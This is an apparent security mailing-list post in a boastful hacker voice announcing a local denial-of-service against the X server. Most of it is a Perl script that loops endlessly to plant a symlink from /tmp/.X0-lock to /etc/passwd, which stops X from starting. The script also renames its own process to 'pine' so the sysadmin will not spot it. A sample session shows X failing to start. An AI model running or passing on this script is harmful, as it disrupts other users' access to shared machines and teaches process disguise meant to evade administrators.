*SERIOUS* local dos in X

[ac1d-burN <ac1d-burN () 0xfee1dead net>]

greetings readers,

#!/usr/bin/perl

# WARNING - WARNING - WARNING - WARNING - WARNING - WARNING
# WARNING - WARNING - WARNING - WARNING - WARNING - WARNING
#
# advanced lokal denial of service attack against X.
#
# short demostration:
# [acidburn@localhost acidburn]$ ./X-d0S.pl
# ---
# [root@localhost root]# X &
# [1] 8639
#
# Fatal server error:
# Server is already active for display 0
# If this server is no longer running, remove /tmp/.X0-lock
# and start again.
## slightly broken !!!

#!/usr/bin/perl

$EVIL_FILE="/tmp/.X0-lock";

$0 = "pine" ; # ph00l sysadmin with stealth techniqz

system("ln -s /etc/passwd $EVIL_FILE 2&>1");

while(ACIDBURE.IS.ELITE) {
    if (! -e $EVIL_FILE) {
        system("ln -s /etc/passwd $EVIL_FILE 2&>1");
    }
}

greets: Sp0aR and rloxley!

signed,
acid burn

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